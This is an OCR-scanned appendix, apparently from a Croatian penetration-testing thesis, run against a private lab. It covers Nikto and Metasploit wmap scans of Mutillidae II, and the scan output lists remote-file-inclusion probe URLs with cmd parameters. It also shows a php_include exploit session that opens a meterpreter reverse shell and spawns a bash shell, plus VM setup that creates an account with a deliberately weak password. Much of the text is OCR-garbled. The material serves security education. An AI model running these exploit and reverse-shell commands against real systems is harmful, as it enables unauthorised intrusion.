rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

110 + OSVDB-5292: /mutillidae/index.php?main_tabid=l&main_content=
http://cirt.net/rfiinc.txt?: RFI from RSnake’s list_ (http
://ha.ckers.org/weird/rfi-locations.dat) ,or from_http://
osvdb.org/

111 +_0SVDB-5292: /mutillidae/index.php?may=http://cirt.net/rfiinc
.txt?: RFI_from RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

112 + OSVDB-5292: /mutillidae/index.php?middle=http://cirt.net/
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rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _,or from http://osvdb.org/

113 +_,0SVDB-5292: ,/mutillidae/index.php?mode=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

114 + OSVDB-5292: /mutillidae/index.php?mode=http://cirt.net/
rfiinc.txt??&cmd=: RFI from RSnake’s_list_ (http://ha.ckers.
org/weird/rfi-locations.dat) or_from_http://osvdb.org/

115 +_OSVDB-5292: ,/mutillidae/index.php?modpath=http://cirt.net/
rfiinc.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

116 + OSVDB-5292: /mutillidae/index.php?module=PostWrapé&page=http
://cirt.net/rfiinc.txt?: RFI from RSnake’s_ list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

117 +_,0SVDB-5292: _,/mutillidae/index.php?mosConfig_absolute_path=
http://cirt.net/rfiinc.txt?: RFI_from RSnake’s list (http
://ha.ckers.org/weird/rfi-locations.dat) or from http://
osvdb.org/

118 + OSVDB-5292: /mutillidae/index.php?news7[\"functions\"]=http
://cirt.net/rfiinc.txt?: RFI from RSnake’s_ list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

119 +_0SVDB-5292: ,/mutillidae/index.php?news_include_path=http://
cirt.net/rfiinc.txt?: RFI_from RSnake’s list (http://ha.
ckers.org/weird/rfi-locations.dat) or from http://osvdb.org
/

120 + OSVDB-5292: /mutillidae/index.php?open=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

121 +_,0SVDB-5292: _,/mutillidae/index.php?option=com_custompagess
cpage=http://cirt.net/rfiinc.txt??: RFI_ from_RSnake’s list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http
://osvdb.org/

122 + OSVDB-5292: /mutillidae/index.php?page=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _,or _from http://osvdb.org/

123 +_,0SVDB-5292: ,/mutillidae/index.php?page=http://cirt.net/
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rfiinc.txt?%00:_RFI_from RSnake’s list (http://ha.ckers.org
/weird/rfi-locations.dat) or from http://osvdb.org/

124 + OSVDB-5292: /mutillidae/index.php?page=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_ list_, (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

125 +_,0SVDB-5292: _,/mutillidae/index.php?pagehttp://cirt.net/rfiinc
.txt?: RFI_from RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

126 + OSVDB-5292: /mutillidae/index.php?page[path]=http://cirt.net
/rfiinc.txt??&cmd=1s: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

127 +_OSVDB-5292: ,/mutillidae/index.php?pageNikto=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

128 + OSVDB-5292: /mutillidae/index.php?pagename=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
welrd/rfi-locations.dat) _,or _from http://osvdb.org/

129 +_0SVDB-5292: ,/mutillidae/index.php?pager=http://cirt.net/
rfiinc.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

130 + OSVDB-5292: /mutillidae/index.php?pagina=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) or_ from_http://osvdb.org/

131 +_,0SVDB-5292: ,/mutillidae/index.php?path_to_folder=http://cirt
.net/rfiinc.txt??cmd=id: RFI_from RSnake’s list (http://ha.
ckers.org/weird/rfi-locations.dat) or from http://osvdb.org
/

132 + OSVDB-5292: /mutillidae/index.php?pg=http://cirt.net/rfiinc.
txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/weird/rfi
-locations.dat) ,or ,from_http://osvdb.org/

133 +_,0SVDB-5292:_,/mutillidae/index.php?pg=http://cirt.net/rfiinc.
txt??: RFI_ from RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

134 + OSVDB-5292: /mutillidae/index.php?phpbb_root_path=http://
cirt.net/rfiinc.txt?: RFI from RSnake’s_ list_, (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org

/
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135 +_,0SVDB-5292: _,/mutillidae/index.php?plugin=http://cirt.net/
rfiinc.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/
welird/rfi-locations.dat) or from http://osvdb.org/

136 + OSVDB-5292: /mutillidae/index.php?principal=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) or from_http://osvdb.org/

137 +_,0SVDB-5292: ,/mutillidae/index.php?proMod=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

138 + OSVDB-5292: /mutillidae/index.php?proMod=http://cirt.net/
rfiinc.txt??cmd: RFI from RSnake’s_ list_ (http://ha.ckers.
org/weird/rfi-locations.dat) ,or_from_http://osvdb.org/

139 +_OSVDB-5292: ,/mutillidae/index.php?project=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

140 + OSVDB-5292: /mutillidae/index.php?repinc=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
welrd/rfi-locations.dat) ,or _from http://osvdb.org/

141 +_0SVDB-5292: _,/mutillidae/index.php?root_prefix=http://cirt.
net/rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

142 + OSVDB-5292: /mutillidae/index.php?root_prefix=http://cirt.
net/rfiinc.txt??: RFI from RSnake’s_ list_ (http://ha.ckers.
org/weird/rfi-locations.dat) or_from_http://osvdb.org/

143 +_0SVDB-5292: ,/mutillidae/index.php?section=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

144 + OSVDB-5292: /mutillidae/index.php?site=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

145 +_0SVDB-5292: ,/mutillidae/index.php?site_path=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

146 + OSVDB-5292: /mutillidae/index.php?styl[top]l=http://cirt.net/
rfiinc.txt???: RFI from RSnake’s_list_ (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

147 +_OSVDB-5292: ,/mutillidae/index.php?template=http://cirt.net/
rfiinc.txt??: RFI_ from RSnake’s list (http://ha.ckers.org/
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weird/rfi-locations.dat) or from http://osvdb.org/

148 + OSVDB-5292: /mutillidae/index.php?templates_dir=http://cirt.
net/rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.
org/weird/rfi-locations.dat) ,or_ from_http://osvdb.org/

149 +_0SVDB-5292: ,/mutillidae/index.php?theme=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

150 + OSVDB-5292: /mutillidae/index.php?themepath=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

151 +_,0SVDB-5292: ,/mutillidae/index.php?themesdir=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

152 + OSVDB-5292: /mutillidae/index.php?this_path=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _or_ from_http://osvdb.org/

153 +_,0SVDB-5292: /mutillidae/index.php?txt=http://cirt.net/rfiinc
.txt?: _RFI_from RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

154 + OSVDB-5292: /mutillidae/index.php?up=http://cirt.net/rfiinc.
txt?: RFI from RSnake’s_list,_, (http://ha.ckers.org/weird/rfi
-locations.dat) _or from http://osvdb.org/

155 +_,0SVDB-5292: ,/mutillidae/index.php?url=http://cirt.net/rfiinc
.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

156 + OSVDB-5292: /mutillidae/index.php?w=http://cirt.net/rfiinc.
txt?: RFI from RSnake’s list_ (http://ha.ckers.org/weird/rfi
-locations.dat) ,or ,from_http://osvdb.org/

157 +_,0SVDB-5292: _,/mutillidae/index.php?way=http://cirt.net/rfiinc
LExt??2222722222727222: _RFI_from RSnake’s list (http://ha.
ckers.org/weird/rfi-locations.dat) or from http://osvdb.org
/

158 + OSVDB-3268: /mutillidae/configuration/: Directory indexing
found.

159 + /mutillidae/configuration/: Admin login page/section found.

160 + /mutillidae/phpmyadmin/: phpMyAdmin directory found

161 + OSVDB-3092: /mutillidae/.git/index: Git Index file may

contain directory listing information.
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162 + /mutillidae/.git/HEAD: Git HEAD file found. Full repo
details may be present.

163 + OSVDB-3092: /mutillidae/phpmyadmin/Documentation.html:
phpMyAdmin is for managing MySQL databases, and should be
protected or limited to authorized hosts.

164 + OSVDB-3268: /mutillidae/webservices/: Directory indexing
found.

165 + /mutillidae/webservices/: Webservices found

166 + /mutillidae/.git/config: Git config file found. Infos about
repo details may be present.

167 + OSVDB-3092: /mutillidae/phpmyadmin/README: phpMyAdmin is for

managing MySQL databases, and should be protected or
limited to authorized hosts.

168 + 7926 requests: 0 error(s) and 156 item(s) reported on remote

host

169 + End Time: 2020-06-18 11:13:07 (GMT2) (281 seconds)

171 + 1 host (s) tested

Ispis B.2: Skeniranje Mutillidae II aplikacije alatom nikto

Il msf5 > load wmap

2

3.-.- T Et

L e

5 V———— IoN_ 1 7 7 N_ AT N_T

6 [WMAP_1.5.1]_===__ et [_.]l_metasploit.com 2012

7 [x]_Successfully,  loaded_plugin:_wmap

8

Omsf5_>_ wmap_sites_—a_http://192.168.56.12/mutillidae/
10 [«] _Site_created.

11 msf5_>_ wmap_sites -1

12 [«]_Available_sites

13 ===============

14

15 Lo Tl Host e VROSE e POTE PrOto, # Pages, #
Forms

6 I P B



17 0

[T R TR TN Ry N TR T

192.168.56.12_,.192.168.56.12_, 80__ . .. http_...0 s

18
19

20 msf5, > wmap_targets_-t_http://192.168.56.12/mutillidae/index.

php
21 msf5_>_ wmap_targets_-1

22 [«]_Defined_targets

Path

[Ty

oo HOS T oL Port | SSL

T Y [ [ | T

i

e

27 0

[ T R TR TN Ry N TR TR}

192.168.56.12,_,.,192.168.56.12,_,_80 false_ /

mutillidae/index.php
28
29
30 msf5_> wmap_run_-t

31 [#]_Testing_target:

32 [%]_.,...5ite: 192.168.56.12_(192.168.56.12)

33 (] ... Port: 80 SSL: false

34 m=======mmmmmmm e e e e e e e e e e e e
35 [x]_Testing,_started._2020-06-18_11:19:39_+0200

36 [*]_Loading,_wmap _modules...

37 [*]1.39_wmap_enabled_modules_loaded.

38 [*]

39 =[_SSL_testing, 1=

4() ============================================================
41 [«]_Target_is_not_SSL._SSL_modules_disabled.

42 [*]

43 =[_Web_Server testing, l=

44 ============================================================
45 [*] _Module_,auxiliary/scanner/http/http_version

46 [+x] _Module_auxiliary/scanner/http/open_proxy

47 [+x] _Module_auxiliary/admin/http/tomcat_administration

48 [+x] _Module_auxiliary/admin/http/tomcat_utf8_traversal

49 [+] _Module_,auxiliary/scanner/http/drupal_views_user_enum

50 [«]_Module_auxiliary/scanner/http/frontpage_login

51 [*] _Module_auxiliary/scanner/http/host_header_injection
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52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

74
75
76
77
78
79
80
81

88

[*x]_Module_auxiliary/scanner/http/options

Module auxiliary/scanner/http/robots_txt

)

Module_auxiliary/scanner/http/scraper

[

Module auxiliary/scanner/http/trace

—

— /= o/ o/
*

]
]
]_Module_auxiliary/scanner/http/svn_scanner
]
]

Module_auxiliary/scanner/http/vhost_scanner

)

Module auxiliary/scanner/http/webdav_internal_ip

)

Module_auxiliary/scanner/http/webdav_scanner

)

Module _auxiliary/scanner/http/webdav_website_content

[

[*]
[*]
[*]
[*]

=[_File/Dir_testing,]=

[x]_Module_,auxiliary/scanner/http/backup_file
[*]_Module_auxiliary/scanner/http/brute_dirs

x]_Module_,auxiliary/scanner/http/copy_of_file

)

x] _Module_auxiliary/scanner/http/dir_listing

[

x]_Module_,auxiliary/scanner/http/dir_webdav_unicode_bypass

)

[*]
[*]
[x]_Module_auxiliary/scanner/http/dir_scanner
[*]
[*]

x] _Module_,auxiliary/scanner/http/file_same_name_dir

[

[
[*]_Module_auxiliary/scanner/http/http_put

*

]_Module_auxiliary/scanner/http/files_dir

[x] _Module_auxiliary/scanner/http/
ms09_020_webdav_unicode_bypass
[+]_Module_,auxiliary/scanner/http/prev_dir_same_name_file

x]_Module_,auxiliary/scanner/http/replace_ext

)

x] _Module_auxiliary/scanner/http/soap_xml

)

x]_Module_,auxiliary/scanner/http/verb_auth_bypass

)

[*]
[*]
[*] _Module_auxiliary/scanner/http/trace_axd
[*]
[*]

=[_Unique_Query testing,]=

Module _auxiliary/scanner/http/blind_sgl_guery

[

_Module_auxiliary/scanner/http/error_sqgl_injection
Module_auxiliary/scanner/http/http_traversal

Module auxiliary/scanner/http/rails_mass_assignment
Module exploit/multi/http/lcms_php_exec

)

=[_Query_testing,l=
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93 [x]_Done.

94 msf5 > wmap_run,_—e

95 [*]_Using ALL_wmap _enabled _modules.

96 [-]_NO_WMAP_NODES_DEFINED. Executing_local_modules

97 [«]_Testing,_target:

98 [*] ,....81ite: ,192.168.56.12,(192.168.56.12)

9 [*]1_._._ Port: 80 _SSL: false

100 ============================================================

101 [+x]_Testing ,started._2020-06-18_,11:22:07_+0200
102 [*]
103 =[_SSL_testing]=

104 ===========—————— e
105 [*] _Target_is_not_SSL._SSL_modules_disabled.

106 [ ]

107 =[_Web_Server _testing,]=

108 =================———————————————————

109 [*] _Module_auxiliary/scanner/http/http_version

111 [+1_.,192.168.56.12:80_Apache/2.4.41_ (Ubuntu)
112 [«]_Module_auxiliary/scanner/http/open_proxy

x]_Module_ ,auxiliary/admin/http/tomcat_administration

)

*

[+]
[x]_Module_,auxiliary/admin/http/tomcat_utf8_traversal
115 [*]
[+]
[*]

)

Attempting_to_connect_to ,192.168.56.12:80

[

+]_No File(s)_,found

—

x] _Module_,auxiliary/scanner/http/drupal_views_user_enum

[

118 [-1,,192.168.56.12_does_not _appear_to _be vulnerable, will_not,
continue

119 [+x] _Module_,auxiliary/scanner/http/frontpage_login

120 [%*1,.,192.168.56.12:80_,, .- http://192.168.56.12/_may, _not_,
support FrontPage Server Extensions

121 [*]_Module_auxiliary/scanner/http/host_header_injection

122 [x] _Module_,auxiliary/scanner/http/options

123 [+].,192.168.56.12_allows,_GET,POST, OPTIONS, HEAD_methods

124 [%x]_Module_auxiliary/scanner/http/robots_txt



[*]_Module_auxiliary/scanner/http/scraper
,[192.168.56.12],_,/_[Apache2 Ubuntu_Default Page: It _works]

Module_auxiliary/scanner/http/svn_scanner

[

Module auxiliary/scanner/http/trace

—

[+]
[*]
[*]_Using_code_'404’ _as_not_found.
[*]
[*]

Module_auxiliary/scanner/http/vhost_scanner

)

[192.168.56.12] ,Sending_request_with random_domain_ ENtNM.
,[192.168.56.12] _,Sending_request_with random_domain_eUuSh.

Module _auxiliary/scanner/http/webdav_internal_ip

192.168.56.12_, (Apache/2.4.41_, (Ubuntu) ) _WebDAV_disabled.

—

Module auxiliary/scanner/http/webdav_website_content

—

[*]
[*]
[+]
[x]_Module_,auxiliary/scanner/http/webdav_scanner
[*]
[+]
[*]

Module_auxiliary/scanner/http/backup_file

[

Path: /

—

[*]
[x]_Module_ auxiliary/scanner/http/brute_dirs
[*]
[*]

Using_code_’404’ _as_not found.

—

*

Module auxiliary/scanner/http/copy_of_file

)

x] _Module_auxiliary/scanner/http/dir_listing

)

x]_Module_,auxiliary/scanner/http/dir_scanner

)

[*]
[*]
[x]_Path:_/
[*]
[*]

*

Path: /

—

x] _Detecting_error code

[*]
[#]_Using_,code 404’ ,as_not found for 192.168.56.12

[+] _Found_http://192.168.56.12:80/icons/_403_(192.168.56.12)
[*]

[*]

—

*

x]_Module_ ,auxiliary/scanner/http/dir_webdav_unicode_bypass

)

*

Path: /

—

*x] _Using _,code_ 404’ ,as_not  found.

—

x] _Module_auxiliary/scanner/http/file_same_name_dir

Path:_/

)

*

—

x] _Module_auxiliary/scanner/http/files_dir

[

*

Path: /

—

[*]
[*]
[x]
[-]_Blank or_default PATH_set.
[*]
[x]
[*]

*x]_Using _,code_ 404’ ,as_not found_ for files_with_extension,.

null

[*]_Using_,code /404’ as_not found for _files with_extension,.
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162

163
164

165

166

167

168

169

170
171

172

173

174

175

176

177

178

179

180

181

backup

[*]_Using_,code 404’ as_not found for _files with_extension,.
bak

[«]_Using_,code 404’ ,as_not found for files with_extension,.

[*]_Using_,code_'404’ as_not found for_files with_extension,.
cfg

[*]_Using_,code /404’ as_not found for files with_extension.
class

[#]_Using ,code 404’ ,as_not found for files with_extension,.
copy

[«]_Using ,code_'404’ ,as_not found for files with_extension,.
conft

[#]_Using_,code /404’ as_not found for files with_extension,.
exe

[*]_Using_,code_ /404’ as_not found for _files with_extension,.
html

[+] _Found_http://192.168.56.12:80/index.html 200

[«]_Using_,code /404’ as_not found for _files with_extension,.
htm

[*]_Using_,code 404’ as_not found for _files with_extension.
ini

[*]_Using ,code_'"404’ as_not found for files _with_extension,,.
log

[#]_Using ,code_'404’ ,as_not found for files with_extension,.
old

[#]_Using_,code /404’ as_not found for files with_extension,.
orig

[*]_Using_,code 404’ as_not found for _files with_extension,.
php

[*]_Using_,code /404’ as_not found for files with_extension.
tar

[«]_Using ,code 404’ ,as_not found for files with_extension,.
tar.gz

[«]_Using_,code_'404’ ,as_not found for files with_extension,.
tgz

[#]_Using_,code /404’ as_not found for files with_extension,.
tmp

[*]_Using_,code /404’ as_not found for _files with_extension,.
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182

183

184
185
186
187
188
189

190

191
192

193
194
195
196
197
198
199
200

201
202
203
204
205
206
207
208
209
210
211
212

temp

[*]_Using_,code 404’ as_not found for _files with_extension,.
txt

[«]_Using_,code 404’ ,as_not found for files with_extension,.
zip

[«]_Using ,code_'404’ ,as_not_ found for files with_extension -~

*x] _Using _,code_ 404’ ,as_not found_for files_with extension

—

*x]_Using _,code_ 404’ ,as_not found_for files_with_extension

—

*

Path: /

—

[*]
[*]
[x]_Module_,auxiliary/scanner/http/http_put
[*]
(-]

,192.168.56.12: _File doesn’t seem to exist. The upload
probably failed

[*] Module auxiliary/scanner/http/
ms09_020_webdav_unicode_bypass

[*x] Path: /

[-] 192.168.56.12:80 Folder does not require authentication.
[405]

[*] Module auxiliary/scanner/http/prev_dir_same_name_file

[*] Path: /

[-] Blank or default PATH set.

[*] Module auxiliary/scanner/http/replace_ext

[#] Module auxiliary/scanner/http/socap_xml

[x] Path: /

[*] Starting scan with Oms delay between requests

[*] Server 192.168.56.12:80 returned HTTP 404 for /. Use a
different one.

[#] Module auxiliary/scanner/http/trace_axd

[x] Path: /

[x] Module auxiliary/scanner/http/verb_auth_bypass

[*]

[*] Module auxiliary/scanner/http/blind_sqgl_qguery

[*] Module auxiliary/scanner/http/error_sqgl_injection
Module auxiliary/scanner/http/http_traversal

Module auxiliary/scanner/http/rails_mass_assignment

[*]
[*]
[*] Module exploit/multi/http/lcms_php_exec
[*]
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218 ++++++++++++++++++ b FFAAAE
219 Launch completed in 363.23943734169006 seconds.

220 +++++++++++++H+ A
221 [*] Done.

222 msf5 > wmap_vulns -1

223 [*] + [192.168.56.12] (192.168.56.12): scraper /

224 [+x] scraper Scraper

225 [*x] GET Apache2 Ubuntu Default Page: It works

226 [*x] + [192.168.56.12] (192.168.56.12): directory /icons/
227 [*] directory Directory found.

228 [#] GET Res code: 403

230
231

*] file File found.

[*]
[*]
229 [x] + [192.168.56.12] (192.168.56.12): file /index.html
[*]
[+]

*

GET Res code: 200

Ispis B.3: Postupak skeniranja Mutillidae Il aplikacije pomocu wmap, ugradenim alatom

Metasploit radnog okvira

1 darian@kali-dell-vostro-3558:~$ sudo msfconsole —-q

2 [sudo] password for darian:

3msf5 > use exploit/unix/webapp/php_include

4msf5 exploit (unix/webapp/php_include) > set rhosts
192.168.56.12

5 rhosts => 192.168.56.12

6msf5 exploit (unix/webapp/php_include) > set path /mutillidae/

7path => /mutillidae/

8msf5 exploit (unix/webapp/php_include) > set phpuri /index.php?
page=XXpathXX

9 phpuri => /index.php?page=XXpathXX

10 msf5 exploit (unix/webapp/php_include) > set payload php/
meterpreter/reverse_tcp

11 payload => php/meterpreter/reverse_tcp

12msf5 exploit (unix/webapp/php_include) > set lhost
192.168.56.13
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13 Thost => 192.168.56.13

14 msf5 exploit (unix/webapp/php_include) > set lport 443

15 lport => 443

16 msf5 exploit (unix/webapp/php_include) > exploit

17

18 [x] Started reverse TCP handler on 192.168.56.13:443

19 [*] 192.168.56.12:80 — Using URL: http://0.0.0.0:8080/
GkSILkX3J1Up

20 [*] 192.168.56.12:80 - Local IP: http://127.0.0.1:8080/
GkSILkX3J1Up

21 [*] 192.168.56.12:80 — PHP include server started.

22 [«] Sending stage (38288 bytes) to 192.168.56.12

23 [*] Command shell session 1 opened (192.168.56.13:443 —>
192.168.56.12:43004) at 2020-06-15 12:00:45 +0200

24

25 meterpreter > sysinfo

26 Computer : ubuntu-19.10-eoan-dell-vostro-3558

270S : Linux ubuntu-19.10-eoan-dell-vostro-3558 5.3.0-51-generic

#44-Ubuntu SMP Wed Apr 22 21:09:44 UTC 2020 x86_64

28 Meterpreter : php/linux

29 meterpreter > shell

30 rocess 3072 created.

31 Channel 0 created.

32 id

33 uid=33 (www—-data) gid=33 (www-data) groups=33 (www-data)

34 python —--version

35 python —-c ’import,_pty;pty.spawn("/bin/bash")’

36 www—data@ubuntu-19:/var/www/html/mutillidae$

Ispis B.4: Prikaz koriStenja Metasploit modula exploit/unix/webapp/php_include na Mutillidae
1I web aplikaciji
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Dodatak C

Instalacija i konfiguracija Linux
posluzitelja

Kao reprezentativni uzorak za Linux obitelj racunala, koristit ée se dva posluZitelja s

operacijskim sustavom Ubuntu 19.10. Proces instalacije i konfiguracije tih posluzitelja

popracen je slikama od C.1 do xyz.

Create Virtual Machine

Name and operating system

e name and destinati

Mame: ubuntu-server
Machine Folder: J/home/darian/VirtualBox-Vis
Type: | Linux

Version: | Ubuntu (64-bit)

Expert Mode

Slika C.1: Pocetni prozor instalacije Ubuntu 19.10 posluzitelja kao virtualni stroj

Slika C.1 prikazuje pocetak instalacije virtualnog stroja posluzitelja Ubuntu 19.10.
Forma na slici je ispunjena tako da VirtualBox prepozna da se radi o Linux virtualnom
stroju, odnosno preciznije, o 64-bitnom Ubuntu virtualnom stroju.

Slika C.2 prikazuje konfiguraciju radne memorije, tj. RAM-a koji ¢e biti dodijeljen

88



Create Virtual Machine

Memory size

Select the amount of memor AM) in megabytes to be allocated to the
virtual machine.

The recommended memo is 1024 MB.

Slika C.2: Postavljanje koli¢ine radne memorije Ubuntu 19.10 posluZitelja

virtualnom stroju. Konkretno, testni posluZzitelj imat ¢e 1GB radne memorije.

Slika C.3 prikazuje postavljanje virtualne trajne pohrane za Ubuntu 19.10 vir-
tualni posluzitelj. Odabrani format virtualne trajne pohrane je Virtual Disk Image,
skra¢eno VDI, a novi virtualni stroj ¢e imati virtualnih 10GB trajne pohrane. Na-
kon pocetne konfiguracije virtualnog stroja, potrebno je pokrenuti virtualni stroj za
instalaciju. Nakon pokretanja virtualnog stroja pojavit ¢e se isko¢ni prozor koji zah-
tijeva odabir slike s koje se pokrece instalacija operacijskog sustava. Slika C.4 pri-
kazuje spomenuti iskoCni prozor. Unutar prozora potrebno je odabrati ISO sliku ins-
talacijskog paketa za Ubuntu 19.10 posluzitelja, koja se moZe preuzeti na poveznici
[15]. Odabirom instalacijskog paketa zapocinje stvarni proces instalacije posluZite-
lja. Nakon odabira jezika, postavljanja tipkovnice i ostavljanja pretpostavljene po-
veznice za odabir slike 1 izvor instalacijskih paketa potrebno je konfigurirati mrezne
postavke posluZitelja, Sto je prikazano slikom C.5. Na slici se mogu vidjeti pretpos-
tavljene mrezne postavke koje svaki virtualni stroj dobije prilikom jednostavne ins-
talacije. Svaka mreZna kartica koja se prije instalacije operacijskog sustava postavi
virtualnom stroju bila bi vidljiva na ovoj slici. Trenutno se moZe vidjeti mreZna kartica
s IP adresom 192.168.56.14 C klase, Sto znaci da mreza kojoj posluZzitelj pripada ima
adresu 192.168.56.0/24, Sto je pretpostavljena mreZa koja se pridjeli virtualnom mrez-

nom pretvorniku koji je u Host-Only nacinu rada. Svojstva virtualne mreZne kartice
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Create Virtual Hard Disk

File location and size

virtual hard disk file i the box below
ct a different folder to create the file in.

fhome/darian/VirtualBox-VMs/ubuntu-server/ubuntu-server.vdi ]

Select the size of the wvirtual hard disk i i e is the limit

on the amount of file data that a ac ble to store on
10,00 GB

4,00 MB 2,00 TB

< Back Create

Slika C.3: Postavljanje virtualne trajne pohrane Ubuntu 19.10 posluzitelja

u Host-Only naCinu rada mogu se vidjeti u tablici 4.1. Ono $to je vazno za instala-
ciju virtualnog posluZitelja jest da ¢e instalirani virtualni posluZitelj mo¢i komunicirati
samo s drugim virtualnim strojevima koji imaju podeseni isti mrezni pretvornik, S$to
ih smjesta u istu virtualnu mreZu, i s operacijskim sustavom domacéinom cija je adresa
<mrezna-adresa-pretvornika>.1, te je domadin postavljen za pretpostav-
ljeni poveznik unutar virtualne mreze (engl. default gateway).

Nakon instalacije posluzitelja, u svrhu kasnijih napada na SSH posluZitelj stvorit

¢e se korisnik sa slabom zaporkom ’12345678’, korisni¢kog imena ’alice’.

1 root@ubuntu-19:/home/darian# adduser alice

2 Adding user ‘alice’ ...

3 Adding_new_group,‘alice’ (1001)

4 Adding new user ‘alice’_,(1001)_with_group_‘alice’
5 Creating home directory ‘/home/alice’ ...

6 Copying ,files_from_ ‘/etc/skel’

7 New password:

8 Retype new password:
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rt-up disk

e select a virtual optical disk file or a physical optical
ontaining a disk to start your new virtual machine

that now.

tual machine off,
I using the

ubuntu-19.10-live-server-amdéd.iso (842,00 MB) ~ &

Slika C.4: Odabir ISO slike (engl. ISO image) za instalaciju Ubuntu 19.10 posluZitelja

9 passwd: password updated successfully
10 Changing the user information for alice

11 Enter the new value, or press ENTER for the default

12 Full Name []: alice annice
13 Room Number []: 555

14 Work Phone []: 555

15 Home Phone []: 555

16 Other []:

17 Is the information correct? [Y/n] Y

Ispis C.1: Stvaranje korisnika ’alice’ sa slabom zaporkom

91



[ Help 1]

. to other machi

Slika C.5: Konfiguracija mreznih postavki Ubuntu 19.10 posluzitelja
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tup [ Help 1]

FILE SY3TEM SUMMARY

nEw 4 new partition of local disk

AILABLE DEY

USED DEY

local d

, mounted at /

Slika C.6: Konfiguracija datote¢nog sustava virtualne trajne pohrane Ubuntu 19.10 posluZitelja
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Profile

NGV = =H o ian-administrator

AT (DU T L -server—19-10
The name it u when it ta to other comput .

darian

e

[ Done

Slika C.7: Konfiguracija imena racunala i korisnika administratorskih ovlasti Ubuntu 19.10

posluzitelja
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[ Help 1]

ith s

il for e
1 to load,

ython b
The offici

L
L]
L
L
L
L]
L
L
L
L]
L
>
L
L]
L
>
L
L]
L
>
L
L]
L
>

Slika C.8: Instalacija dodatnih programskih paketa na Ubuntu 19.10 posluZitelj
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Dodatak D
Instalacija i konfiguracija Windows

posluzitelja

Kao reprezentativni uzorak Windows posluzitelja podignut je jedan Windows poslu-
zitelj. Instalacijska slika posluZitelja preuzeta je s [8]. Koraci instalacije identi¢ni su
kao da se radi o stolnoj inacici Windows racunala. Postupak dodjele resursa, tj. radne
memorije, trajne pohrane i sl. identi¢an je instalaciji virtualnog Linux posluZitelja, a

opisan je u dodatku C. Slika D.1 prikazuje sadrzaj ekrana nakon uspjeSne instalacije

Server Manager * Dashboard

B Dashboard WELCOME TO SERVER MANAGER

B Local Server

& All Servers P . .
" o Configure this local server

2 Add roles and features

WHAT'S NEW

LEARN MORE

ROLES AND SERVER GROUPS

Roles:0 | Servergroups:1 | Servers total: 1
B Local Server 1 Wi Al Servers

i 11:08
T A% e T

Slika D.1: Prikaz pocetnog ekrana nakon instalacije i pokretanja Windows 10 posluZitelja

virtualnog Windows posluZzitelja. Prilikom svakog pokretanja posluzitelja pokrene se
aplikacija Server Manager, koja sluzi za konfiguraciju posluZzitelja. Za potrebe ovog
